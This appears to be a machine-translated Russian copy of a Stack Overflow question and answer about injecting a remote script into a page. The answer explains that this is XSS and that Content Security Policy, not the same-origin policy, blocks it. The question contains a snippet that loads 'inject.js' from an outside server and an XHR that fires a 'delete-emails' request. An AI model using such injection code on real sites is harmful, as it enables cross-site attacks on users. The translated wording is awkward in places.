0

Некоторые серверы позволяют динамически вставлять элемент сценария с src, отличающийся от домена страницы.Пульт дистанционного управления с помощью скриптового ввода

Мы не можем отправить данные на другой сервер из-за Same Origin Policy, но мы можем сделать что-то вроде:

  • удалить все сообщения электронной почты в некоторых MailService
  • сделать несколько заказов на магазин
  • сообщения на запись SocialNetwork и так далее ...

Причина сценарий был введен в страница x с сервера A, и запросы поступают на сервер A, здесь нет ничего плохого - политика одинакового происхождения не работает.

Охраняются ли серверы от этого по умолчанию?

На защищенных серверах мы получили это:

Отказался загрузить сценарий, потому что он нарушает следующее содержание директивы политики безопасности: «скрипт-Src„небезопасного-Eval“„небезопасный-инлайн“

q=document.createElement('script'); 
q.src='http://myserver.com/inject.js'; 
document.head.append(q); 

Такой сценарий может быть свернута в расширение хром и установлен. (я не прав здесь или, возможно, расширения есть еще несколько ограничений?)

А вот inject.js при условии, сервер обработки запроса со стиранием-сообщения электронной почты парами:

var xhr = new XMLHttpRequest(); 
xhr.open('GET', 'http://stackoverflow.com/?delete-emails'); 
xhr.onreadystatechange = function() { 
    if (this.readyState === 4 && this.status === 200) { 
     console.log(location.href); 
    } 
}; 
xhr.send(); 

Например, если вставить скрипт элемент (в голову) в stackoverflow.com страницы, я получаю 200 OK.

ответ

2

Причина: сценарий был введен в страницу x с сервера A, а запросы выполняются на сервере A, здесь ничего не происходит - политика одинакового происхождения не работает.

Защищены ли серверы от этого по умолчанию?

Правильно. То, что вы описываете, - это Cross-site Scripting (XSS), и одна и та же политика происхождения не защищает вас от этого.

На защищенных серверах мы получили это:

Отказался загрузить сценарий, потому что он нарушает следующее содержание директивы политики безопасности: «скрипт-Src„небезопасного-Eval“„небезопасный-инлайн“

Content Security Policy отличается от той же политики происхождения. Это механизм, позволяющий серверам объявлять ограничения на то, что им разрешено делать на своих страницах.Это помогает предотвратить XSS, так как даже если злоумышленник может ввести сценарий, браузер не позволит ему нарушить CSP.

Такой скрипт может быть завернут в хромированное расширение и установлен.

В целом вы должны предположить, что расширения браузера допускают все виды небезопасных действий, которые не защищены от обычных политик безопасности браузера. Различные рамки расширения браузера предоставляют разные гарантии безопасности, но это не то, что стандартизировано в браузерах. Если у вас есть конкретный вопрос о том, что разрешено Chrome, вы должны, вероятно, разместить отдельный вопрос.